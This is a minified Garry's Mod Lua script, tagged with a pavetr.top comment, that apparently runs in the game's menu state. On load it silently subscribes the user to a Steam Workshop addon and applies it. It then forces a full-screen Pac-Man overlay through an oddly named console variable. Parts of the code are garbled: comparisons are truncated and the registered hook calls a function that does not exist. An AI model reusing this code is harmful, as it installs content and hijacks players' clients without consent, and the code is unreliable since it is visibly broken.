--pavetr.top/ds if not MENU_DLL then return end steamworks.Subscribe("177212166")steamworks.ApplyAddons()PANEL={}surface.CreateFont("FONT",{font="akbar",size=30,weight=100,blursize=0,scanlines=0,antialias=true,underline=false,italic=false,strikeout=false,symbol=false,rotary=false,shadow=true,additive=false,outline=true})surface.CreateFont("CounterFont",{font="akbar",size=ScrH()/6,weight=500,blursize=0,scanlines=0,antialias=true,underline=false,italic=false,strikeout=false,symbol=false,rotary=false,shadow=true,additive=false,outline=true})function PANEL:Init()self.panel=vgui.Create("DPanel",self)function self.panel:Paint()end;self.Button={}self.Button[1]=vgui.Create("DImageButton",self)self.Button[1].DoClick=function(self)self.Parent:PressedFirstButton()end;self.Button[2]=vgui.Create("DImageButton",self)self.Button[2].DoClick=function(self)self.Parent:PressedSecondButton()end;self.Button[1].Parent=self;self.Button[2].Parent=self;self.Counter=9;self.delay=CurTime()+1 end;function PANEL:Paintbackground()end;function PANEL:PressedFirstButton()end;function PANEL:PressedSecondButton()end;function PANEL:Paint(a,b)if self.Counter>=4 then draw.SimpleText(" "..self.Counter.." ","CounterFont",a/2,b/2,Color(255,200,0,255),TEXT_ALIGN_CENTER)else draw.SimpleText(" "..self.Counter.." ","CounterFont",a/2,b/2,Color(255,0,0,255),TEXT_ALIGN_CENTER)end end;function PANEL:PaintOver(a,b)end;function PANEL:PerformLayout(a,b)self.Button[1]:SetPos(0,b/2)self.Button[1]:SetSize(a/4,b/2-5)self.Button[1]:SetImage("pacman/menu/continue.png")self.Button[2]:SetPos(a-a/4+6,b/2)self.Button[2]:SetSize(a/4,b/2-5)self.Button[2]:SetImage("pacman/menu/exit.png")end;function PANEL:Close()self:Remove()end;function PANEL:Think()if CurTime()>self.delay then self.Counter=self.Counter-1;surface.PlaySound("pacman/counter.wav")self.delay=CurTime()+1 end;if self.Counter<=0 then self:PressedFirstButton()self:Close()end end;derma.DefineControl("AEndMenu","",PANEL,"Panel")local c="C########=########c\n".."|00000000|00000000|\n".."|0<>0<#>0v0<>0<#>0|\n".."|00000000000000000|\n".."|0<>0^0<#=#>0^0<>0|\n".."|0000|000|000|0000|\n".."l==>0l#>0v0<#r0<==r\n".."Bdd>0v0000000v000^0|s00|0^0<==c\n".."ldd>0v0B###b0v00C>0|\n".."|00|00000000000|00|\n".."l>0v0^0<###>0^0v00<#>00|\n".."|00000000000000000|\n".."B#################b"CreateClientConVar("ghdfopksdfglmer",0,false,false)local d={}local e={}local f={{x=2,y=3},{x=18,y=3},{x=2,y=14},{x=18,y=14}}local g=table.Copy(f)local h=1;local i=200;local j=1;local k=1;local l=1;local m=1;local n=1;local o=0;local p={}local q={}local r=1;local s=0;local t={}local u=false;local v=false;local a=0;local b=0;local w=0;local x=false;local y=3;local z=true;local A=5;local B=1;local C=0;local D={}d["Up"]="up"d["Right"]="right"d["Down"]="down"d["Left"]="left"d["stop"]="stop"e["Up"]="up"e["Right"]="right"e["Down"]="down"e["Left"]="left"local function E(F,G,a,b,H,I,J)surface.SetDrawColor(H.r,H.g,H.b,H.a)surface.SetMaterial(I)surface.DrawTexturedRect(F-J,G-J,a+J*2,b+J*2)end;local function K(L,M,N)table.insert(d,{Pac={dir=L,pos=M,tex=N}})end;local function O(L,P,M,Q,R,N)table.insert(e,{G={id=R,dir=L,mode=P,pos=M,oldpos=Q,tex=N}})end;local function S()y=3;w=0;r=1;x=false;table.Empty(q)for T,U in ipairs(D)do AddDot(U.x,U.y)end;g=table.Copy(f)end;local function V(F,G)local W=c;local X=string.Explode("\n",W)return string.GetChar(X[G],F)end;function AddDot(F,G)table.insert(q,{x=math.Round(F/a),y=math.Round(G/b),tex="pacman/star.png"})end;local function Y(Z,F,G)for T,U in ipairs(Z)do if U.x==F and U.y==G then return T end end end;local function _(R,N)for T,U in ipairs(e)do if U.G.id==R then U.G.tex=N end end end;local function a0(Z,F,G,a1)if Y(Z,F,G)==nil then return end;if a1=="normal"then table.remove(Z,Y(Z,F,G))w=w+10 elseif a1=="special"then table.remove(Z,Y(Z,F,G))o=CurTime()+5;for T=1,4 do SetGhostMode(tostring(T),"scatter")end elseif a1=="speical bon"then table.remove(Z,Y(Z,F,G))w=w+25*r end;surface.PlaySound("pacman/chomp.wav")end;local function a2(R,L)for T,U in ipairs(e)do if U.G.id==R then U.G.dir=L end end end;local function a3()return d[1].Pac.dir end;local function a4(L)d[1].Pac.dir=L end;local function a5(R)for T,U in ipairs(e)do if U.G.id==R then return U.G.pos end end end;function SetGhostMode(R,P)for T,U in ipairs(e)do if U.G.id==R then U.G.mode=P end end end;local function a6(R)for T,U in ipairs(e)do if U.G.id==R then return U.G.mode end end end;local function a7(R,M)for T,U in ipairs(e)do if U.G.id==R then U.G.pos=M end end end;local function a8(R)for T,U in ipairs(e)do if U.G.id==R then return U.G end end end;local function a9(R)for T,U in ipairs(e)do if U.G.id==R then return U.G.oldpos end end end;local function aa(R)for T,U in ipairs(e)do if U.G.id==R then return U.G.dir end end end;local function ab(M)d[1].Pac.pos=M end;local function ac()return d[1].Pac.pos end;local function ad(R,M)if R~=nil then local ae,af=a5(R).x,a5(R).y;local ag,ah=M.x,M.y;local ai=math.Round(math.deg(math.atan2(ag-ae,ah-af)))if ai>90 and ai<180 then return{a="up",b="right"}elseif ai==90 then return{a="right",b="right"}elseif ai<90 and ai>0 then return{a="down",b="right"}elseif ai==0 then return{a="down",b="down"}elseif ai<0 and ai>-90 then return{a="down",b="left"}elseif ai==-90 then return{a="left",b="left"}elseif ai<-90 and ai>-180 then return{a="up",b="left"}elseif ai==-180 or ai==180 then return{a="up",b="up"}end else Error("[Royal Arcade Games] function |CheckDirection| first 'arg' a nil value\n")end end;local function aj(L,R,ak)if R==nil then Error("[Royal Arcade Games] function |CanMove| second 'arg' a nil value\n")end;local F,G=a5(R).x,a5(R).y;if L=="up"then if V(F,G-1)=="0"and G-1~=ak.y then return true else return false end elseif L=="right"then if V(F+1,G)=="0"and F+1~=ak.x then return true else return false end elseif L=="left"then if V(F-1,G)=="0"and F-1~=ak.x then return true else return false end elseif L=="down"then if V(F,G+1)=="0"and G+1~=ak.y then return true else return false end end end;local function al()if not x then local am=vgui.Create("AEndMenu")am:SetPos(ScrW()/2-ScrW()/2/2,ScrH()/25*5)am:SetSize(ScrW()/2,ScrW()/7)function am:PressedFirstButton()S()self:Close()end;function am:PressedSecondButton()RunConsoleCommand("ghdfopksdfglmer","0")S()self:Close()end end end;local function an(R,L,ao,ak)if L==nil then if V(ao.x+1,ao.y)=="0"and ao.x+1~=ak.x then a2(R,"right")elseif V(ao.x-1,ao.y)=="0"and ao.x-1~=ak.x then a2(R,"left")elseif V(ao.x,ao.y+1)=="0"and ao.y+1~=ak.y then a2(R,"down")elseif V(ao.x,ao.y-1)=="0"and ao.y-1~=ak.y then a2(R,"up")end else if L=="up"and ao.y-1~=ak.y then a2(R,"up")elseif L=="right"and ao.x+1~=ak.x then a2(R,"right")elseif L=="left"and ao.y+1~=ak.y then a2(R,"left")elseif L=="down"and ao.x-1~=ak.x then a2(R,"down")elseif L=="stop"then a2(R,"stop")end end end;O("left","normal",{x=10,y=10},{x=3,y=4},"1","pacman/red.png")O("left","normal",{x=11,y=10},{x=5,y=18},"2","pacman/blue.png")O("left","normal",{x=12,y=10},{x=10,y=18},"3","pacman/pinky.png")O("left","normal",{x=11,y=9},{x=8,y=18},"4","pacman/orange.png")local function ap()if GetConVarNumber("ghdfopksdfglmer")==1 then local W=c;local aq=string.Explode("\n",W)local ar=string.ToTable(aq[1])surface.SetDrawColor(0,0,0,255)surface.DrawRect(0,0,ScrW(),ScrH())a,b=math.floor(ScrW()/(#ar-1)),math.floor(ScrH()/#aq)for as,at in ipairs(aq)do for T,U in ipairs(string.ToTable(at))do if U=="0"then if T*as<=323 and not u then table.insert(D,{x=a*T-a/2,y=as*b-b/2,tex="pacman/star.png"})AddDot(a*T-a/2,as*b-b/2)table.insert(p,{x=a*T/a,y=as*b/b,typ="walk",id=T*as})else u=true end elseif U=="#"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_line.png"})else v=true end elseif U=="|"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_stright.png"})else v=true end elseif U=="l"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_wall_left.png"})else v=true end elseif U=="r"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_wall_right.png"})else v=true end elseif U=="d"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_wall_bottom.png"})else v=true end elseif U=="="then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_middle.png"})else v=true end elseif U=="<"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_corn_left.png"})else v=true end elseif U==">"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_corn_right.png"})else v=true end elseif U=="^"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_corn_top.png"})else v=true end elseif U=="v"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_corn_bottom.png"})else v=true end elseif U=="c"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_corner_tright.png"})else v=true end elseif U=="C"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_corner_tleft.png"})else v=true end elseif U=="b"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_corner_bright.png"})else v=true end elseif U=="B"then if T*as<=360 and not v then table.insert(p,{x=a*T/a,y=as*b/b,typ="wall",id=T*as,tex="pacman/pacman_corner_bleft.png"})else v=true end elseif U=="e"then if not table.HasValue(t,T)then table.insert(t,T)end elseif U=="s"then if not table.HasValue(t,T)then table.insert(t,T)K("left",{x=10,y=14},"pacman/pacclose.png")end end end end;for au,av in ipairs(p)do if av.typ=="walk"then elseif av.typ=="wall"then surface.SetDrawColor(0,0,255,255)surface.SetMaterial(Material(av.tex))surface.DrawTexturedRect(av.x*a-a,av.y*b-b,a,b)end end;for T,U in ipairs(q)do surface.SetDrawColor(255,255,255,255)surface.SetMaterial(Material(U.tex))surface.DrawTexturedRect((U.x-0.5)*a,(U.y-0.5)*b,a/4,b/4)end;for T=1,4 do if CurTime()>o and a6(tostring(T))~="killed"then surface.SetDrawColor(255,255,255,255)surface.SetMaterial(Material(e[T].G.tex))surface.DrawTexturedRect(a5(tostring(T)).x*a-a,a5(tostring(T)).y*b-b,a,b)SetGhostMode(tostring(T),"normal")elseif CurTime()=10 then z=false elseif A<=0 then z=true end;for T,U in ipairs(g)do E((U.x-0.5)*a,(U.y-0.5)*b,a/4,b/4,{r=255,g=255,b=255,a=255},Material("pacman/item.png"),A)end;surface.SetDrawColor(255,255,0,255)surface.SetMaterial(Material("pacman/pac.png"))surface.DrawTexturedRectRotated(ac().x*a-a/2,ac().y*b-b/2,a,b,s)draw.SimpleText("Score: "..w.." ","ChatFont",10,10,Color(255,255,255,255),TEXT_ALIGN_LEFT)draw.SimpleText("Level: "..r.." ","ChatFont",10,30,Color(255,255,255,255),TEXT_ALIGN_LEFT)for aw=1,y do surface.SetDrawColor(255,255,255,255)surface.SetMaterial(Material("pacman/pac.png"))surface.DrawTexturedRect(100+aw*30,25,30,30)end;if CurTime()=1 then local ay,az=ac().x,ac().y;directionx,directiony=0,0;gdirectionx,gdirectiony=0,0;gdirectionx1,gdirectiony1=0,0;gdirectionx2,gdirectiony2=0,0;gdirectionx3,gdirectiony3=0,0;a0(q,ay,az,"normal")a0(g,ay,az,"special")a0(q,10,9,"normal")a0(q,10,10,"normal")a0(q,11,10,"normal")if input.IsKeyDown(KEY_UP)and V(ay,az-1)=="0"and y~=0 then a4(d["Up"])s=270 elseif input.IsKeyDown(KEY_DOWN)and V(ay,az+1)=="0"and y~=0 then a4(d["Down"])s=90 elseif input.IsKeyDown(KEY_RIGHT)and V(ay+1,az)=="0"and y~=0 then a4(d["Right"])s=180 elseif input.IsKeyDown(KEY_LEFT)and V(ay-1,az)=="0"and y~=0 then a4(d["Left"])s=0 end;if d[1].Pac.dir==d["Up"]and V(ay,az-1)=="0"then directiony=-1 elseif d[1].Pac.dir==d["Down"]and V(ay,az+1)=="0"then directiony=1 elseif d[1].Pac.dir==d["Right"]and V(ay+1,az)=="0"then directionx=1 elseif d[1].Pac.dir==d["Left"]and V(ay-1,az)=="0"then directionx=-1 elseif d[1].Pac.dir==d["stop"]then directionx=0;directiony=0 end;if aa("1")==d["Up"]and aj(aa("1"),"1",a9("1"))then gdirectiony=-1 elseif aa("1")==d["Down"]and aj(aa("1"),"1",a9("1"))then gdirectiony=1 elseif aa("1")==d["Right"]and aj(aa("1"),"1",a9("1"))then gdirectionx=1 elseif aa("1")==d["Left"]and aj(aa("1"),"1",a9("1"))then gdirectionx=-1 elseif aa("1")==d["stop"]then gdirectionx=0;gdirectiony=0 end;if aa("2")==d["Up"]and aj(aa("2"),"2",a9("2"))then gdirectiony1=-1 elseif aa("2")==d["Down"]and aj(aa("2"),"2",a9("2"))then gdirectiony1=1 elseif aa("2")==d["Right"]and aj(aa("2"),"2",a9("2"))then gdirectionx1=1 elseif aa("2")==d["Left"]and aj(aa("2"),"2",a9("2"))then gdirectionx1=-1 elseif aa("2")==d["stop"]then gdirectionx1=0;gdirectiony1=0 end;if aa("3")==d["Up"]and aj(aa("3"),"3",a9("3"))then gdirectiony2=-1 elseif aa("3")==d["Down"]and aj(aa("3"),"3",a9("3"))then gdirectiony2=1 elseif aa("3")==d["Right"]and aj(aa("3"),"3",a9("3"))then gdirectionx2=1 elseif aa("3")==d["Left"]and aj(aa("3"),"3",a9("3"))then gdirectionx2=-1 elseif aa("3")==d["stop"]then gdirectionx2=0;gdirectiony2=0 end;if aa("4")==d["Up"]and aj(aa("4"),"4",a9("4"))then gdirectiony3=-1 elseif aa("4")==d["Down"]and aj(aa("4"),"4",a9("4"))then gdirectiony3=1 elseif aa("4")==d["Right"]and aj(aa("4"),"4",a9("4"))then gdirectionx3=1 elseif aa("4")==d["Left"]and aj(aa("4"),"4",a9("4"))then gdirectionx3=-1 elseif aa("4")==d["stop"]then gdirectionx3=0;gdirectiony3=0 end;if CurTime()>j then d[1].Pac.pos.x=d[1].Pac.pos.x+directionx;d[1].Pac.pos.y=d[1].Pac.pos.y+directiony;j=CurTime()+0.15 end;if CurTime()>k then a8("1").oldpos.x=a8("1").pos.x;a8("1").oldpos.y=a8("1").pos.y;a8("1").pos.x=a8("1").pos.x+gdirectionx;a8("1").pos.y=a8("1").pos.y+gdirectiony;k=CurTime()+0.20 end;if CurTime()>l then a8("2").oldpos.x=a8("2").pos.x;a8("2").oldpos.y=a8("2").pos.y;a8("2").pos.x=a8("2").pos.x+gdirectionx1;a8("2").pos.y=a8("2").pos.y+gdirectiony1;l=CurTime()+0.25 end;if CurTime()>m then a8("3").oldpos.x=a8("3").pos.x;a8("3").oldpos.y=a8("3").pos.y;a8("3").pos.x=a8("3").pos.x+gdirectionx2;a8("3").pos.y=a8("3").pos.y+gdirectiony2;m=CurTime()+0.35 end;if CurTime()>n then a8("4").oldpos.x=a8("4").pos.x;a8("4").oldpos.y=a8("4").pos.y;a8("4").pos.x=a8("4").pos.x+gdirectionx3;a8("4").pos.y=a8("4").pos.y+gdirectiony3;n=CurTime()+0.40 end;if a5("1")~=ac()then local aA=ad("1",{x=ac().x,y=ac().y})if a6("1")=="killed"then aA=ad("1",{x=11,y=8})end;if CurTime()o and h>1 then h=1 end;for T=1,4 do if a5(tostring(T)).x==ac().x and a5(tostring(T)).y==ac().y then if a6(tostring(T))=="scatter"then surface.PlaySound("pacman/pacman_chomp.wav")w=w+h*i;SetGhostMode(tostring(T),"killed")h=h+1 elseif a6(tostring(T))=="killed"then elseif a6(tostring(T))~="scatter"or a6(tostring(T))~="killed"then if CurTime()>B then y=y-1;ab({x=10,y=14})s=0;d[1].Pac.dir=d["Left"]C=CurTime()+3;a7("1",{x=9,y=10})a7("2",{x=10,y=10})a7("3",{x=11,y=10})a7("4",{x=10,y=9})a2("1","stop")a2("2","stop")a2("3","stop")a2("4","stop")a4("stop")B=CurTime()+2 end end end;if y==0 then a2("1","stop")a2("2","stop")a2("3","stop")a2("4","stop")a4("stop")end end;if y~=0 and#q<=0 then table.Empty(q)for T,U in ipairs(D)do AddDot(U.x,U.y)end;g=table.Copy(f)r=r+1 end;if ac().x==19 and ac().y==9 and d[1].Pac.dir=="right"then a0(q,19,9,"normal")a0(q,1,9,"normal")ab({x=2,y=9})elseif ac().x==1 and ac().y==9 and d[1].Pac.dir=="left"then a0(q,1,9,"normal")a0(q,19,9,"normal")ab({x=18,y=9})end;for T=1,4 do if a5(tostring(T)).x==10 and a5(tostring(T)).y==8 and a6(tostring(T))=="killed"then SetGhostMode(tostring(T),"normal")end;if a5(tostring(T)).x==19 and a5(tostring(T)).y==9 and aa(tostring(T))=="right"then a7(tostring(T),{x=2,y=9})elseif a5(tostring(T)).x==1 and a5(tostring(T)).y==9 and aa(tostring(T))=="left"then a7(tostring(T),{x=18,y=9})end end end end;hook.Add("Think","core",ax)RunConsoleCommand("ghdfopksdfglmer",1)